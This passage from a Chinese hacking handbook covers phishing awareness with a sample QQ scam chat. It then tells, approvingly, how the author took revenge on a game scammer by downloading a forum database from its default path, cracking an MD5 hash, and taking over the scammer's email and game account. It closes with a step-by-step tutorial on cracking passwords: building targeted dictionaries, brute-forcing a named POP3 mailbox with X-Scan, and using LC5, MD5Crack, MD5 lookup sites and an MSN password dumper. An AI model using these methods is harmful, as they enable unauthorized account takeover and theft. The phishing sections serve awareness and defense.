为了更深层的确认邮件的真实性,我们必须要查看邮件的原始信息。从原始信息来看,我们可以很容易的发现,邮件的图片都是来自于哪个网站的,而且并没有什么特别之处。 但是有一点令人感觉不解的是,是不是因为太过着急了?新建的 Title 竟然是一个与此内容不相关的题目,而且更新地址竟然是一个不知道哪里来的地址。就是这个地址令黑仔感到不解。 http://66.35.***.**/.us/index.php?MfcISAPICommand=3DSignInFPP。凭着黑仔这么多年的网络经验,涉及大型银行或者是网络购物的网站来说,用户的帐号密码是关系到用户自身的财产安全,一个普普通通的地址竟然是用来更新网站用户的资料,有点不正常不像是大型网站的做法。黑仔的意思是每个金融机构的网站,在涉及敏感信息的情况都不会使用 HTTP协议的,HTTP 协议(Hypertext Transfer Protocol,超文本传输协议)是用于从 WWW 服务器传输超文本到本地浏览器的传送协议。它可以使浏览器更加高效,使网络传输减少。它不仅保证计算机正确快速地传输超文本文档,还确定传输文档中的哪一部分,以及哪部分内容首先显示( 如文本先于图形)等。这就是你为什么在浏览器中看到的网页地址都是以
"http://"开头的原因。因为超文本协议的不安全性,所以都是采用 HTTPS 进行交互访问的。所以黑仔根据经验可以大致确定这个地址有诈,此时,我们可以致电网站的客户来确认此事真伪。
HTTPS 是一个安全通信信道,它基于 HTTP 开发,用于在客户计算机和服务器之间交换信息。它使用安全套接字层 (SSL)进行信息交换,简单来说它是 HTTP 的安全版。而 SSL 就是 Secure socket layer(SSL)协议,最初由 Netscape 企业发展,现已成为网络用来鉴别网站和网页浏览者身份,以及在浏览器使用者及网页服务器之间进行加密通讯的全球化标准。由于 SSL 技术已建立到所有主要的浏览器和 WEB 服务器程序中,因此,仅需安装数字证书,或服务器证书就可以激活服务器功能了。虚假邮件钓鱼的可识别性,总体来说对比起虚假网站来说还是比较容易识别的,因为地址的来源,以及邮件的原始信息分析,我们就可以得到邮件的真伪,而且邮件服务商自身也会帮你进行过滤的。
利用各种各样的特洛伊木马进行钓鱼式攻击
在利用虚假网站钓鱼的掩护下,很多钓鱼者都会在虚假的网站上面留下木马。这些网站只是在内容当中相似,但是并不会盗取或者诱骗用户提供信息,而是利用网站诱骗访问者下载网站组件或者是软件。利用这些虚假组件或者是软件对用户的计算机进行控制,或者利用键盘木马来盗取用户相关的帐号以及密码。防御方法其实很简单,就是安装杀毒软件以及防火墙,千万别相信网站所说的什么组件。在你不使用该网站服务的前提下,千万别下载或者安装任何的程序,避免导致主机被种植木马。
利用IM 程序进行网络钓鱼式攻击
最近,连我们广州的某些电视新闻报道也报道了关于 IM 程序被实施网络钓鱼的案例,钓鱼者利用发布虚假信息以及结合网站进行网络钓鱼攻击。
即时消息传递,通常称为 IM。是一种类似电子邮件的联机通信方式。顾名思义,主要区别是 IM 具有即时性,IM 需要特殊的软件程序(如腾讯 QQ、Windows Messenger、MSN Messenger、 AOL Instant Messenger、Yahoo Messenger 等)。使用 IM 程序进行通信具有一些与使用电子邮件相同的安全和隐私风险,但值得一提的是,有些风险较为独特。
当用户在使用 IM 程序的时候,钓鱼者就会利用虚假信息欺骗用户,然后让用户在交谈的时候泄漏自身的敏感信息。
案例分析:
[14:20:47] 客户服务(1) 对 我 悄悄说:
尊敬的用户,您好:现特举行幸运用户的评选活动,经过随机抽选,您的游戏帐户已经成为幸运用户号码。恭喜您!您可以获得本公司送出的奖品。请您接收到此消息后联系客服工作人员的 QQ:422801957 联系领取您所获得的奖品
钓鱼者 12:18:02
您好。这里是 QQ 客服中心。请问您是收到系统温馨消息提示的幸运用户吗?
被钓者 12:16:54
是啊
钓鱼者 12:18:42
请问您的腾讯 QQ 号是多少,QQ 昵称叫什么?
被钓者 12:18:10
61**** ****
钓鱼者 12:22:50
请您到我们指定的中奖活动首页填写表格: http://***.***.cn。并按提示办理,或是通过客服进行填写表格。
被钓者 12:22:34
能不能使用电话进行填写啊!?我比较不想打字啊
钓鱼者 12:25:10
公司领导为了提高人工客服质量。所以此次活动是不提供任何电话的。
被钓者 12:25:11
那好吧,有什么需要填写?!
钓鱼者 12:26:42
请给予你的身份证号码 住址 出生年月以及你的联系电话
被钓者 12:25:32
地址是:******************身份证:******************出生年月:********
电话号码:************
钓鱼者 12:27:39
好的,你的表格已经填写完毕了,您应该清楚你中奖的事项吧?
被钓者 12:35:25
中奖 5000 元,但是不清楚是如何取得?
钓鱼者 12:36:54
因为本次活动是由***公司赞助,支持,奖金是他们给予您的,我们是不可以扣除奖金的。所以你可以选择网上转帐,因为***公司只接收网上转帐,实在太多用户中奖了。
被钓者 12:35:43
那好的,我给你我的帐号。
**银行帐号:**********************
钓鱼者 12:37:43
奖金会在三天之类转入您的帐号,请您在三天之后查询是否已经转帐。
从这里就可以看出,当钓鱼者拿到帐号以及你的个人信息之后,他就会利用这些信息去组合你银行帐号有可能会使用的密码,从而盗取帐号上的资金。
当你收到这些信息的时候,首先一定要理智的去判断,千万别给物质所吸引。应该去官方查看有没有相关的服务,然后应打电话去官方的客户服务部咨询之后,方可决定是否提交自身的信息。
编辑点评:网络钓鱼攻击是社会工程学当中较为常用的手法,基于人性脆弱一面进行攻击,当我们收到一些具有诱惑信息的时候,应该冷静的去面对问题,用理智的想法去判断。然后借用查看官方的信息来分析是否存在这样子的业务或活动。然后对于虚假邮件以及虚假网站借用邮件过滤工具以及一些安全网站所发布的信息来进行分别。下一期将会介绍关于社会工程学的密码心理学,如何利用收集来的个人信息来结合国人的使用密码的习惯来进行运用。记住留意下期喔^_^。
(2)、Google Hack+社会工程学反击骗子从本文你可以学到:
1.巧妙利用Google Hack
2.社会工程学的又一大应用
今天在玩着千圣王朝(我们这里的一个传奇私服),突然有一个 ID 叫 xwxukang 的跟我说,“大哥,我这个号没有一把像样的剑,我感觉你的霸王剑不错,我想用我的麻痹戒指和你的做交换,反正我有两个麻痹,可以么?”然后和我扯了一大堆,总之想与我做一个交换,用他的麻痹戒指换我的霸王剑,当时我就乐了,感动得不得了,想不到天下竟然有这么傻的人,换我十把也行啊(编:贪便宜算不算万恶之源)。接着他说:“我的麻痹戒指没有带在身上,你先给我剑,我去存到我的保险箱里,然后取出麻痹戒指来给你。”乐晕了头的我二话没说就把我的剑给了他,心里美滋滋的,白捡了这么一个大便宜,做梦都要笑醒啊!
可我在那里等啊等啊,他怎么不回来了呢?都半个小时了。突然间我意识到我可能被骗了,于是和他聊天,但系统提示他不在线。唉~100%被骗了。5555……
但我们这些经常看《黑手》的,不能就这么着算了,得想办法把装备要过来,老虎不发威,当我病猫呢!最后再给他点颜色看看。
说干就干,但我既没有他的 IP 地址,又没他其他任何资料,就有一个昵称,怎么办呢?但我眉头一皱,计上心来,想到了无所不搜的 Google Hack 技术。于是打开 Google 搜索
xwxukang,可惜,没什么结果。还可以百度一下嘛,呵呵,真让我给找到了,如图 2-255。看来老天在惩罚我贪心的同时还不忘了给我一个去惩恶扬善的机会。
图 2-255 百度的搜索结果
百度看来作本土搜索还是不错滴,xwxukang 在千圣王朝的官方论坛居然还有帐号,于是登陆论坛,浏览一下他的资料,也没什么大的收获, 只知道了他的信箱是
xwxukang@126.com。但突然间我想到了,上次入侵千圣王朝的官方论坛的时候,发现了论坛数据库的默认地址没有更改。于是在官方论坛的地址后面加上了/data/dvbbs7.mdb,如图 2-256,想不到竟然还可以下载。
图 2-256 可以下载他的数据库
于是把数据库下载下来,在 Dv_User 表中发现了 xwxukang 的帐号信息,如图 2-257。
图 2-257 找到了 xwxukang 的帐号信息
不过,动网的密码不是明文,是经过 MD5 加密的,我把这个值拿到 www.xmd5.org 中去搜破一下,不一会儿密码就出来了,如图 2-258。
图 2-258 破解出了它的 MD5 密码
根据社会工程学,大多人喜欢把用户名以及密码设成一样的,于是我把用户名 xwxukang 与
密码 2321299 填入到千圣王朝游戏登陆器中,想不到却提示找不到此用户。看来还需要找到他的用户名。
就在一筹莫展的时候,突然想到了他会不会把密码设得跟信箱一样(前面提到过在论坛资料里面有他填写的信箱),于是我登陆了他的信箱 xwxukang@126.com,密码果然是 2321299,成功地进去了,如图 2-259。找找看看有没有什么有用的信息,在发信箱中没什么发现什么有用的东西,收件箱里也全是广告。
图 2-259 他的信箱内容
里面有一个系统退信,去看看那小子写什么让人家给退回来了,如图 2-260,原来是他的 QQ 号更改的信。
图 2-260 通过邮件知道了他的 QQ 资料
真想不到这里面竟然能找到他的新旧两个 QQ 号,转念一想,他会不会用 QQ 号作为他的用户名呢?试试看吧。我把他的旧 QQ 号作为用户名(因为他的角色在游戏中已经注册很长时间了,故不可能使用他刚刚注册的 QQ 号作为用户名),把他的“通行密码”2321299 作为密码登陆游戏,成功了。哈哈,狂喜。
最后我把我的装备取出来转移到我的帐号上,总算是物归原主啊,不容易啊。然后把他的登陆密码给改了,小小惩罚他一下,如图 2-261。
图 2-261 修改密码成功惩罚骗子
不过,他还可以去找网管查帐号,算是给他留了一条生路,也算给他一个警告:以后不许再骗人。谁让他盗我的号来,自作自受。最后提醒大家也不要和我一样犯这样的错误,毕竟天下是没有免费的午餐的。
编辑点评:社会工程学是一门欺骗的艺术,文章一开始 xwxukang 就利用了作者“捡到大便宜”的心理设了一个陷阱,轻松骗取作者的装备。庆幸的是,作者没有轻易放弃教训骗子的机会,而是通过发散思维追踪下去,从不同的点去寻找机会,把仅有的一点信息→一个
ID 号扩大到几乎挖出了 xwxukang 的所有敏感信息。本文技术含量不高,精髓主要体现在灵活跳跃的思维能力上,也算是社会工程学的一个小小的应用。
常见的密码破解
密码是最为敏感的数据,通常我们入侵就是为了得到密码。所以我们搞黑客就离不开密码。目前几乎所有的密码的存在都是经过了加密的,因此在我们入侵的过程中,常常要破
解各种各样的密码。这些密码有的是要远程破解,有的需要本地破解。下面,我就为大家讲解一些常见密码的破解,希望大家学了之后能够融会贯通,为自己以后的黑客学习提供一些帮助。
一、制作字典文件
破解的方法有很多,无论是远程破解也好,本地破解也罢,穷举法都是其中最常见的一种。这种方法就是随意地从字典文件中抽出一段词组来和要破解的密码进行比对,一个不行就试第二个、第三个,直到破解出需要的密码或是字典文件中的词组全部试完为止,也就是俗称的暴力破解。要进行暴力破解,一个好的字典文件是不可缺少的,甚至还可以起到事半功倍的作用。要制作字典文件,需要一种名为“字典生成器”的工具,常见的有黑客字典
II、万能钥匙、疯狂字典、HackerDicBuilder 等等。下面就通过 HackerDicBuilder 来为大家演示字典文件的制作过程。HackerDicBuilder 是一款功能十分强大的字典生成工具,作者根据国人设置密码的习惯,采用线程技术来生成字典文件,可以说它的功能在这些字典工具中是最强的。因为 HackerDicBuilder 是一款绿色软件,所以我们直接运行就是了,另外,它还采用了向导式的配置过程。工具启动后,首先出现的是工具的使用说明。点击“下一步”按钮,出现的是“基本数据”的配置窗口,这里利用用户的名称和出生日期来配置字典文件,如图 2-262 所示。
图 2-262 HackerDicBuilder 主界面
这样可以针对某个人制作出和他名称、生日有关的字典文件;再点击“下一步”按钮,在“城市电话”中可以利用所选城市的邮政编码、长途区号、普通电话和移动电话来配置字典文件;接着点击“下一步”按钮,在“英文数字”窗口可以选择常用数字、其他常用英文、罕见组合、计算机网络及相关常用英文等选项进行配置。另外,用户还可以在“自定义组合”中填写自己需要的其他密码组合;接着再点击“下一步”按钮,在“文件合并”窗口中,用户可以将已有的字典文件合并到其他的字典文件中,使之成为一个新的字典文件,如图 2-263 所示。
图 2-263 设置字典的参数
最后在“其他设置”窗口中设置字典文件的复杂程度和字典文件的保存路径,“复杂程度”通常设置为“一般”即可,最后点击“生成字典”按钮即可完成字典文件的配置工作,如图 2-264 所示。
图 2-264 设置字典的复杂程度
最后需要提醒大家一点,好的字典文件在于“精”,而不在于“大”,所以用户在配置过程中,一定要根据破解的相关信息来设置相应的选项,不然词条过多的字典文件不但影响字典生成的速度,还会在破解过程中浪费大量的时间和精力。
二、远程破解
远程破解最常见的都是对一些网络服务进行破解,比如网络共享、电子邮箱、IPC 连接、FTP、
SQL 等等。对于这些网络服务的破解,最常用的工具有 X-Scan、流光、WIN 自动攻击探测器、
SSS 等等。下面我就以最新版本的 X-Scan 来为大家演示一番远程破解的过程。X-Scan 是一款非常优秀的扫描工具,它在扫描过程中可以对扫描到的内容进行自动的口令破解。首先从 http://www.xfocus.net/下载最新的 X-Scan-v3.3 正式版的压缩包,解压后运行文件夹中的
xscan_gui 即可,如图 2-265 所示。
图 2-265 X-Scan-v3.3 主界面
点击工具栏上的“扫描参数”命令,在弹出的“扫描参数”窗口中进行扫描破解的配置。首先点击“检测范围”,在“指定 IP 范围”下设置需要扫描破解的 IP 地址。这里可以输入独立的 IP 地址或域名,比如我们需要破解 nohack@21cn.com 这个信箱,这里就输入该信箱服器的 POP3 地址 pop.21cn.com,如图 2-266 所示。
图 2-266 设置 IP 检测的范围
接着点击“全局设置”模块,“全局设置”模块下包括“扫描模块”、“并发扫描”、“网络设置”、“扫描报告”和“其他设置”等多个扫描项目。“扫描模块”选项中包括了可以进行扫描破解的选项,比如用户需要破解 IPC 的连接密码,就要选择“NT-Server 弱口令”选项;如果用户需要对电子邮件进行破解的话,就要选择“POP3 弱口令”这项。如果用户不清楚每个选项的内容,点击它以后,就会在右侧出现该选项的说明,如图 2-267 所示。
图 2-267 选择“POP3 弱口令”项
再点击“并发扫描”选项,这里用于设置并发扫描破解的主机和并发线程数,也可以单独为每个主机的各个插件设置最大线程数。“最大并发线程数量”选项则是扫描过程中最多可以启动的扫描线程数量。X-Scan 采用了多线程方式进行扫描破解,用户可以根据自己计算机的配置以及网络带宽进行调整设置。下面再点击“插件设置”下的“字典文件设置”选项,这里设置用于破解某些内容需要的字典文件。通常情况下程序用户不用设置,程序会自动调用自带的相关字典文件进行破解。如果程序自带的文件没有破解出相应的密码,只需在该选项默认的文件列表中双击然后重新设置新的字典文件即可,如图 2-268 所示。
图 2-268 设置字典路径
这里需要说明一下,如果要针对某个账号进行破解,比如破解 nohack@21cn.com 这个信箱的密码,我们就要对“POP3 用户名字典”类型进行更新。用记事本打开程序默认的字典文件,将里面的内容全部删除,然后输入“nokack”即可。所有的设置完成后,点击工具栏中的“开始扫描”按钮,X-Scan 就会按照我们的配置进行扫描破解。如果扫描到相应的选项,就会根据字典文件账号开始破解,完成后程序还会给出详细的报告,如图 2-269 所示。
图 2-269 正在扫描中
三、本地破解
在黑客入侵的过程中,除了远程破解外,本地破解也是非常重要的。比如你在入侵网站的时候,得到了管理员的账号密码,可是这些密码是被 MD5 进行了加密的,所以我们就需要在本地进行密码的破解。本地破解和远程破解有一个很明显的区别就是,远程破解往往一个工具就可以胜任,而本地破解就需要“因人而异”,选择不同的工具才能破解。下面我们就看看常见的本地破解的操作。
1.本地破解管理员密码
事实证明,简单的或容易遭受破解的管理员密码是最大的安全威胁之一,因为攻击者往往以合法的身份登录计算机系统而不被察觉。L0phtCrack v5.02,简称 LC 5,是一款网络管理员的必备的工具,它可以用来检测 Windows、UNIX 用户是否使用了不安全的密码,同样也是最好、最快的Win NT/2000/XP/2003/UNIX 管理员账号密码破解工具。安装L0phtCrack
v5.02 容笑汉化精简版,运行它,程序就会弹出一个向导窗口。操作步骤:
如果用户是第一次使用 LC5 的话,还是通过向导进行操作比较好。点击向导窗口中的“下一步”按钮,在出现的窗口中选择一个导入加密口令的方法,用户可以根据情况选择“从本地机器导入”、“从远程电脑导入”、“从 NT4.0 紧急修复盘导入”以及“从本地电脑嗅探导入”;接着点击“下一步”按钮选择口令的破解方式,包括“快速口令破解”、“普通口令破解”、
“复杂口令破解”以及“自定义”共四种方法;然后点击“下一步”按钮,选择破解报告的风格。设置完成后,LC5 就开始对系统存在的管理员密码开始破解。如果密码不是很复杂的话,很短的时间内就会得到结果。不过,如果密码比较复杂的话,需要时间会很长,毕竟是暴力破解嘛。破解完成后,LC5 会在窗口中显示破解出的管理员的域、用户名、认证口令、口令等项目,同时还会显示出破解的时间、用户数等项目,如图 2-270 所示。
图 2-270 LC5 主界面
2.本地破解MD5 密码
由于现在很多的网络程序的账号密码都通过 MD5 进行了加密,所以为了得到密码的原文,我们需要对加密的账号密码进行破解。MD5 的解密工具有很多,MD5Crack 就是其中非常有效的一款。
操作步骤:
运行解密工具 MD5Crack,在“密文设置”中选择“破解单个密文”选项,接着将加密过的密码复制到后面的输入框中,程序会自动判断这个密码是否被 MD5 加密过,经过确认才能被破解。接着在“字符设置”中对密码破解需要的字符进行设置,用户可以根据需要选择“使用字符集”、“使用字典”或“使用插件”选项,我们既可以使用刚刚生成的字典文件,也可以选择“使用字符集”选项,然后再从中选择相应的字符。接着再对密码的长度以及破解的速度进行设置,最后点击“开始”按钮程序就开始破解。如果运气好的话,很短的数据就可以破解出密码原文,如图 2-271 所示。
图 2-271 MD5Crack 完成破解
对于 MD5 加密的密码,如果密码设置的很长而且不常见的话,用工具是很难破解的,需
要很长的时间,所以目前网络上有一些专门用于破解 MD5 的网站,他们是: http://www.md5lookup.com/?category=main&page=search http://www.xmd5.org/index_en.htm http://www.milw0rm.com/md5/info.php
http://www.neeao.com/md5/ http://md5.mmkey.com/ http://gdataonline.com/seekhash.php http://www.plain-text.info/search.php http://passcracking.com/Good_values_list.asp
http://www.hashchecker.com/index.php?_sls=search_hash http://md5.rednoize.com/
http://us.md5.crysm.net/ http://uploadpage.net/ap/php/projects/rt/addhash.php
我本人最为常去的网站是 http://www.xmd5.org/index_en.htm,这个网站是是国内的一个在线破解 MD5 密码的网站,在破解 MD5 密码时非常方便,如图 2-272 所示
图 2-272 xmd5 网站主界面
3.本地破解MSN 密码
随着微软的即时通讯工具 MSN 逐渐流行开来,网上也出现了大量针对 MSN 的病毒、恶意程序,这其中就包括一款专门用来破解 MSN 账号密码的工具——MSN 口令发现者 v2.0。利用这款工具,任何人都可以轻易获取 Windows XP 和 Windows 2003 系统下MSN 7.0 用户的.NET Passport 邮箱地址及密码。
操作步骤:
MSN 口令发现者的使用非常的简单,运行它以后,点击操作界面中的“Find Password”按钮后,立刻就会显示出在该计算机上登录过的 MSN 的账号和密码,如图 2-273 所示。
图 2-273 破解 MSN 密码
至此,一些常见的远程破解和本地破解的方法就为大家介绍完了。其实我们在使用电脑的过程中,除了上面介绍的这些破解内容外,还常常遇见 office 文档、Rar 文件的破解等等。其实大家只要通过合适的工具,就能将需要的目标成功地进行破解。如果还有什么问题的话,欢迎大家到《黑客手册》的论坛,我们一起进行讨论。
Q&A 1. 为 什 么 我 破 解 了 这 么 长 时 间 , 也 没 有 成 功 呢 ?
密码破解本身除了方法和技巧以外,运气也是非常重要的一环,所以我们在进行密码破解的时候,先要做好无法破解的心理准备,不要认为破解就一定能成功。 2.为什么在进行 MSN 破解的时候不用暴力破解?
破解的方式有很多种,暴力破解只是其中的一种,当然也是最常见的一种。除了暴力破解外,还可以利用某些程序本身的漏洞直接读取保存在系统中的账号密码,MSN 就是这样的。
编辑点评:有时候对于破解密码是需要很强的耐心和运气的,如果利用暴力破解破解不出来也是很正常的,制作字典是关键。每个黑客都有属于自己的字典,如何建立一个优秀的字典也是需要一定功夫的,使用社会工程学配合制作字典是再好不过了。
声明:本章中的部分内容都是依靠互联网查找而得到的,非常感谢网络上那些无名人士所做的贡献。同时本章还引用了一些非常优秀的黑客文章,非常感谢这些文章的作者,他们分别是:剑心、王炜、罗秉琨、Hak_BaN、光芒果等等。
你从本章可以学到如下几点:
1、HTML 语言的各种基本知识
2、挂马入门技术
3、自定义头像跨站漏洞